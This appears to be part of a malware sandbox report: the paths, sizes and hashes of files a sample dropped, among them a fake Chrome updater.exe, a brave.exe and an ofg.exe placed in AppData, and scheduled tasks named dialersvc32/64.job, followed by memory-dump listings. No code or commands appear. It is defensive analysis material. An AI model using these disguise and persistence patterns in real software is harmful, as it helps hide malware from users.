SHA256 55af8940100b432c2873c1b4ec0068516ec9459ae313fd1d3ac2957ef7abe033
MD5 96cbbd2930425374e0d2d6e251be9834
SHA1 7870a26f33469c4cef96cecd4e0b20c82fa4e1af
SHA512 0753d1b927b76b8765ae7657f5cb339eb861c2c6f567dd40cb51dc17f76287ea061236723278a6c06fc29d6452243e12213ccfbd3236d4709719a0104554b0a9
SSDEEP 98304:UJlQcZOWdS58SUxTzskoHi3a7UpYLzwnGuqfkIF8RK2qBHNp6mgC6ZwECQ0em5v8:UJltOuS54xTzs5XTLFBfkJ42qBtpJ2wU
MD5 SHA1 SHA512 SSDEEP

Submit Download

590aee7bdd69b59b.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Size 7KB
SHA256 709b6ea0bb35d1ac720a3de14b310849389164ecde44c0deb74a0e32cd498a78
MD5 708b8ad1f743c64124d9f1584b4d7faa
SHA1 4b91334747d914345b2dae9ff04c9969c08d764c
SHA512 a1aeb2c2f223bf3402dde82df5bdd30838a63f854ee2748c35bcbc9046cc1616f6064fd392d4542ea5770817ace3404b95e7a5d2e9475112662d96627f205162
SSDEEP 96:g5qCpM8snqvsqvJCwoA5qCpM8snqvsEHyqvJCworHyKdRQHhn7MIXlUV3:47IUoY7IAHnorHTQn7MI0
MD5 SHA1 SHA512 SSDEEP

Submit Download

590aee7bdd69b59b.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Size 7KB
SHA256 709b6ea0bb35d1ac720a3de14b310849389164ecde44c0deb74a0e32cd498a78
MD5 708b8ad1f743c64124d9f1584b4d7faa
SHA1 4b91334747d914345b2dae9ff04c9969c08d764c
SHA512 a1aeb2c2f223bf3402dde82df5bdd30838a63f854ee2748c35bcbc9046cc1616f6064fd392d4542ea5770817ace3404b95e7a5d2e9475112662d96627f205162
SSDEEP 96:g5qCpM8snqvsqvJCwoA5qCpM8snqvsEHyqvJCworHyKdRQHhn7MIXlUV3:47IUoY7IAHnorHTQn7MI0
MD5 SHA1 SHA512 SSDEEP

Submit Download

d93f411851d7c929.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
Size 7KB
SHA256 20a1f952db2cc6cd6aed90e26e5795c074160deb791a4cd1b809ffbe381f7df9
MD5 ba9d855a6609e241e2451d14e11c1509
SHA1 484a008fb567279ab6e1f37b92dc4b5d2443a5f6
SHA512 f5e4fb7f2a3cc80990c4a119da2dca03a88d2c9e1d08b9d7ff9b7adf26d80a988ecd821f8e63071b6832f748acec24d4b9427ddd7657ca306a3fbd688713f57a
SSDEEP 96:g5qCpM8snqvsqvJCwoA5qCpM8snqvsEHyqvJCwor4yKjTQHaM7MIXlUV3:47IUoY7IAHnor43zM7MI0
MD5 SHA1 SHA512 SSDEEP

Submit Download

dialersvc32.job

Path C:\Windows\Tasks\dialersvc32.job
Size 1KB
SHA256 3dd7c8ebc2bf740c2b782d078972db27dac86d259a9de3f0a2e216e3a8330df7
MD5 41c4b9fe1b2457dd470feae9cfa15bca
SHA1 f46ccc93eed5d869135e0b50c221b50507bde610
SHA512 9d32cc0d347c4fed32ab7c5dcfbe017fc1f48ce8e69bae3b2f78f66bc47d7e1ec9070c87051ed4aaffbe39f1d16159f14dae55ed55fb8335aa82d8d242c2a710
MD5 SHA1 SHA512

Submit Download

dialersvc64.job

Path C:\Windows\Tasks\dialersvc64.job
Size 1KB
SHA256 cbefc8b7ca9224217d06a7d5579e90112bce845666402de7fc43019eec599ec6
MD5 989256d4e61647e4bab8170cf456ea00
SHA1 78dff69b21a81c107c538a11b48e749c67251083
SHA512 8bbfe902a1a5df7255e07a0713685e0e647db9212f1e46dc2b9e52843e8a20c219fa7d6168f5a50c0dda45749cd40ac739ed5e6bdd55270e72b1a7eea15f2d7b
MD5 SHA1 SHA512

Submit Download

updater.exe

Path \Program Files\Google\Chrome\updater.exe
Size 2.8MB
SHA256 9c01d90543458567c4737731ee6754cc209e4bb78ff648eb75c4d23be261ef2f
MD5 eb27bb8cfa99d659e4fe023e9002ecd1
SHA1 c783400302fdfae0518269c5a5a8d4bad29f42a3
SHA512 ab5ad3c094ed1f094aa82d80d298e6d0ab15a94b58b007dbe8a6219fe8498569b5d9013d770bd9910f177f94f2639d84650655e8f60113051e98b386c49c36a2
SSDEEP 49152:xkWZLeZVfE7GQFHJUXhr3o2AmO+gpMsv6gFcPJBpaAo1AIU7LXPyPZTzeRJ38AoW:xL1eY7bFpUxr3fAjAVRJBpPAUPyBnUy6
MD5 SHA1 SHA512 SSDEEP

Submit Download

brave.exe

Path \Users\Admin\AppData\Local\Microsoft\brave.exe
Size 2.8MB
SHA256 78e0a8309bc850037e12c2d72a5b0843dcd8b412a0a597c2a3dcbd44e9f3c859
MD5 9253ed091d81e076a3037e12af3dc871
SHA1 ec02829a25b3bf57ad061bbe54180d0c99c76981
SHA512 29ff2fd5f150d10b2d281a45df5b44873192605de8dc95278d6a7b5053370e4ac64a47100b13c63f3c048df351a9b51f0b93af7d922399a91508a50c152e8cf4
SSDEEP 49152:xkWZLeZVfE7GQFHJUXhr3o2AmO+gpMsv6gFcPJBpaAo1AIU7LXPyPZTzeRJ38AoW:xL1eY7bFpUxr3fAjAVRJBpPAUPyBnUy6
MD5 SHA1 SHA512 SSDEEP

Submit Download

ofg.exe

Path \Users\Admin\AppData\Local\Microsoft\ofg.exe
Size 4.8MB
SHA256 fc8db07536652808292ddca99645f2e64431baf7f72ba1a8d358229e16fafbd8
MD5 cd4ac234ee1c9fca552d11ff31b9c5cc
SHA1 e3448c185bdf0e0a0859f2b28d1b5f28c38a0064
SHA512 d07048d1359350c9913d2727cb40969383eaca0593b7395d2c51435e0defaa91f4c95f038bb1877847d520efa0150359860036f6e6e1c3e2ece24bc4ff8c6b9f
SSDEEP 49152:tAM3CiGxBRJHy51FmJgBaShRgd5MYh43VvATtg0IEqYjla27VdS5g+A:aMLGxBk1FmJgX2l4lv3EdZv+A
MD5 SHA1 SHA512 SSDEEP

Submit Download

ofg.exe

Path \Users\Admin\AppData\Local\Microsoft\ofg.exe
Size 4.8MB
SHA256 fc8db07536652808292ddca99645f2e64431baf7f72ba1a8d358229e16fafbd8
MD5 cd4ac234ee1c9fca552d11ff31b9c5cc
SHA1 e3448c185bdf0e0a0859f2b28d1b5f28c38a0064
SHA512 d07048d1359350c9913d2727cb40969383eaca0593b7395d2c51435e0defaa91f4c95f038bb1877847d520efa0150359860036f6e6e1c3e2ece24bc4ff8c6b9f
SSDEEP 49152:tAM3CiGxBRJHy51FmJgBaShRgd5MYh43VvATtg0IEqYjla27VdS5g+A:aMLGxBk1FmJgX2l4lv3EdZv+A
MD5 SHA1 SHA512 SSDEEP

Submit Download

setup.exe

Path \Users\Admin\AppData\Local\Microsoft\setup.exe
Size 5.9MB
SHA256 55af8940100b432c2873c1b4ec0068516ec9459ae313fd1d3ac2957ef7abe033
MD5 96cbbd2930425374e0d2d6e251be9834
SHA1 7870a26f33469c4cef96cecd4e0b20c82fa4e1af
SHA512 0753d1b927b76b8765ae7657f5cb339eb861c2c6f567dd40cb51dc17f76287ea061236723278a6c06fc29d6452243e12213ccfbd3236d4709719a0104554b0a9
SSDEEP 98304:UJlQcZOWdS58SUxTzskoHi3a7UpYLzwnGuqfkIF8RK2qBHNp6mgC6ZwECQ0em5v8:UJltOuS54xTzs5XTLFBfkJ42qBtpJ2wU
MD5 SHA1 SHA512 SSDEEP

Submit Download

nsExec.dll

Path \Users\Admin\AppData\Local\Temp\nsj2E62.tmp\nsExec.dll
Size 7KB
SHA256 1076ca39c449ed1a968021b76ef31f22a5692dfafeea29460e8d970a63c59906
MD5 675c4948e1efc929edcabfe67148eddd
SHA1 f5bdd2c4329ed2732ecfe3423c3cc482606eb28e
SHA512 61737021f86f54279d0a4e35db0d0808e9a55d89784a31d597f2e4b65b7bbeec99aa6c79d65258259130eeda2e5b2820f4f1247777a3010f2dc53e30c612a683
SSDEEP 96:J9zdzBzMDByZtr/HDQIUIq9m6v6vBckzu9wSBpLEgvElHlernNQaSGYuH2DQ:JykDr/HA5v6G2IElFernNQZGdHW
MD5 SHA1 SHA512 SSDEEP

Submit Download

nsExec.dll

Path \Users\Admin\AppData\Local\Temp\nsj2E62.tmp\nsExec.dll
Size 7KB
SHA256 1076ca39c449ed1a968021b76ef31f22a5692dfafeea29460e8d970a63c59906
MD5 675c4948e1efc929edcabfe67148eddd
SHA1 f5bdd2c4329ed2732ecfe3423c3cc482606eb28e
SHA512 61737021f86f54279d0a4e35db0d0808e9a55d89784a31d597f2e4b65b7bbeec99aa6c79d65258259130eeda2e5b2820f4f1247777a3010f2dc53e30c612a683
SSDEEP 96:J9zdzBzMDByZtr/HDQIUIq9m6v6vBckzu9wSBpLEgvElHlernNQaSGYuH2DQ:JykDr/HA5v6G2IElFernNQZGdHW
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/328-282-0x00000000009C0000-0x00000000009EA000-memory.dmp

Download

memory/420-158-0x00000000008A0000-0x00000000008C3000-memory.dmp

Download

memory/420-165-0x0000000036EF0000-0x0000000036F00000-memory.dmp

Download

memory/420-162-0x000007FEBD720000-0x000007FEBD730000-memory.dmp

Download

memory/420-222-0x00000000008D0000-0x00000000008FA000-memory.dmp

Download

memory/420-214-0x00000000008A0000-0x00000000008C3000-memory.dmp

Download

memory/464-167-0x000007FEBD720000-0x000007FEBD730000-memory.dmp

Download

memory/464-169-0x0000000036EF0000-0x0000000036F00000-memory.dmp

Download

memory/464-226-0x0000000000100000-0x000000000012A000-memory.dmp

Download

memory/480-171-0x000007FEBD720000-0x000007FEBD730000-memory.dmp

Download

memory/480-231-0x0000000000090000-0x00000000000BA000-memory.dmp

Download

memory/480-173-0x0000000036EF0000-0x0000000036F00000-memory.dmp

Download

memory/488-178-0x0000000036EF0000-0x0000000036F00000-memory.dmp

Download

memory/488-238-0x0000000000360000-0x000000000038A000-memory.dmp

Download

memory/488-175-0x000007FEBD720000-0x000007FEBD730000-memory.dmp

Download

memory/548-91-0x00000000026DB000-0x00000000026FA000-memory.dmp

Download

memory/548-90-0x00000000026D4000-0x00000000026D7000-memory.dmp

Download

memory/548-89-0x00000000026DB000-0x00000000026FA000-memory.dmp

Download

memory/548-83-0x000007FEF3930000-0x000007FEF448D000-memory.dmp

Download

memory/548-87-0x00000000026D4000-0x00000000026D7000-memory.dmp

Download

memory/548-82-0x000007FEF4490000-0x000007FEF4EB3000-memory.dmp

Download

memory/548-78-0x000007FEFB8D1000-0x000007FEFB8D3000-memory.dmp

Download

memory/580-179-0x000007FEBD720000-0x000007FEBD730000-memory.dmp

Download

memory/580-181-0x0000000036EF0000-0x0000000036F00000-memory.dmp

Download

memory/580-243-0x0000000000570000-0x000000000059A000-memory.dmp

Download

memory/660-183-0x000007FEBD720000-0x000007FEBD730000-memory.dmp

Download

memory/660-249-0x0000000000110000-0x000000000013A000-memory.dmp

Download

memory/660-184-0x0000000036EF0000-0x0000000036F00000-memory.dmp

Download

memory/748-188-0x000007FEBD720000-0x000007FEBD730000-memory.dmp

Download

memory/748-254-0x00000000008C0000-0x00000000008EA000-memory.dmp

Download

memory/748-258-0x0000000036EF0000-0x0000000036F00000-memory.dmp

Download

memory/768-142-0x00000000686F0000-0x0000000068C9B000-memory.dmp

Download

memory/768-287-0x0000000077090000-0x0000000077210000-memory.dmp

Download

memory/768-206-0x00000000686F0000-0x0000000068C9B000-memory.dmp

Download

memory/804-265-0x0000000036EF0000-0x0000000036F00000-memory.dmp

Download

memory/804-262-0x0000000000520000-0x000000000054A000-memory.dmp

Download

memory/828-279-0x0000000036EF0000-0x0000000036F00000-memory.dmp

Download

memory/828-276-0x0000000000A40000-0x0000000000A6A000-memory.dmp

Download

memory/956-131-0x000000000297B000-0x000000000299A000-memory.dmp

Download

memory/956-130-0x0000000002974000-0x0000000002977000-memory.dmp

Download

memory/956-128-0x0000000002974000-0x0000000002977000-memory.dmp

Download

memory/956-127-0x000007FEF3930000-0x000007FEF448D000-memory.dmp

Download

memory/956-126-0x000007FEF4490000-0x000007FEF4EB3000-memory.dmp

Download

memory/960-308-0x00000000686F0000-0x0000000068C9B000-memory.dmp

Download

memory/960-303-0x0000000001E20000-0x0000000001E41000-memory.dmp

Download

memory/1056-289-0x0000000001C90000-0x0000000001CBA000-memory.dmp

Download

memory/1084-292-0x0000000001BF0000-0x0000000001C1A000-memory.dmp

Download

memory/1152-294-0x0000000000130000-0x000000000015A000-memory.dmp

Download

memory/1152-295-0x0000000036EF0000-0x0000000036F00000-memory.dmp

Download

memory/1176-296-0x0000000001AF0000-0x0000000001B1A000-memory.dmp

Download

memory/1176-297-0x0000000036EF0000-0x0000000036F00000-memory.dmp

Download

memory/1208-302-0x0000000000140000-0x000000000016A000-memory.dmp

Download

memory/1208-304-0x0000000036EF0000-0x0000000036F00000-memory.dmp

Download

memory/1212-298-0x0000000002A80000-0x0000000002AAA000-memory.dmp

Download

memory/1212-299-0x0000000036EF0000-0x0000000036F00000-memory.dmp

Download

memory/1280-141-0x000007FEF2F90000-0x000007FEF3AED000-memory.dmp

Download

memory/1280-148-0x000000000104B000-0x000000000106A000-memory.dmp

Download

memory/1280-157-0x0000000076EB0000-0x0000000077059000-memory.dmp

Download

memory/1280-155-0x000000000104B000-0x000000000106A000-memory.dmp

Download

memory/1280-143-0x0000000001044000-0x0000000001047000-memory.dmp

Download

memory/1280-153-0x0000000001044000-0x0000000001047000-memory.dmp

Download

memory/1280-144-0x0000000076EB0000-0x0000000077059000-memory.dmp

Download

memory/1280-150-0x0000000076EB0000-0x0000000077059000-memory.dmp

Download

memory/1280-145-0x0000000076D90000-0x0000000076EAF000-memory.dmp

Download

memory/1280-152-0x0000000076D90000-0x0000000076EAF000-memory.dmp

Download

memory/1280-140-0x000007FEF3AF0000-0x000007FEF4513000-memory.dmp

Download

memory/1280-159-0x0000000076D90000-0x0000000076EAF000-memory.dmp

Download

memory/1344-291-0x0000000001E60000-0x0000000001FFD000-memory.dmp

Download

memory/1352-111-0x00000000023F4000-0x00000000023F7000-memory.dmp

Download

memory/1352-103-0x000007FEF2F90000-0x000007FEF3AED000-memory.dmp

Download

memory/1352-101-0x000007FEF3AF0000-0x000007FEF4513000-memory.dmp

Download

memory/1352-107-0x000000001B6F0000-0x000000001B9EF000-memory.dmp

Download

memory/1352-116-0x00000000023FB000-0x000000000241A000-memory.dmp

Download

memory/1352-117-0x00000000023F4000-0x00000000023F7000-memory.dmp

Download

memory/1352-118-0x00000000023FB000-0x000000000241A000-memory.dmp

Download

memory/1468-267-0x0000000000400000-0x0000000000435000-memory.dmp

Download

memory/1468-293-0x0000000000500000-0x0000000000521000-memory.dmp

Download

memory/1468-186-0x0000000000400000-0x0000000000435000-memory.dmp

Download

memory/1468-273-0x0000000077090000-0x0000000077210000-memory.dmp

Download

memory/1492-286-0x00000000020B0000-0x00000000020D1000-memory.dmp

Download

memory/1492-284-0x0000000001F30000-0x0000000001F4B000-memory.dmp

Download

memory/1556-120-0x00000000686F0000-0x0000000068C9B000-memory.dmp

Download

memory/1556-205-0x00000000686F0000-0x0000000068C9B000-memory.dmp

Download

memory/1768-154-0x0000000076EB0000-0x0000000077059000-memory.dmp

Download

memory/1768-209-0x0000000140000000-0x0000000140042000-memory.dmp

Download

memory/1768-146-0x0000000140000000-0x0000000140042000-memory.dmp

Download

memory/1768-151-0x0000000140000000-0x0000000140042000-memory.dmp

Download

memory/1768-218-0x0000000076EB0000-0x0000000077059000-memory.dmp

Download

memory/1768-156-0x0000000076D90000-0x0000000076EAF000-memory.dmp

Download

memory/1900-54-0x0000000000090000-0x00000000000B8000-memory.dmp

Download

memory/1900-64-0x0000000075561000-0x0000000075563000-memory.dmp

Download

memory/1900-63-0x0000000000090000-0x00000000000B8000-memory.dmp

Download

memory/1900-62-0x0000000000090000-0x00000000000B8000-memory.dmp

Download

memory/1900-56-0x0000000000090000-0x00000000000B8000-memory.dmp

Download

memory/1936-300-0x0000000000840000-0x000000000086A000-memory.dmp

Download

memory/1976-301-0x0000000000860000-0x000000000088A000-memory.dmp

Download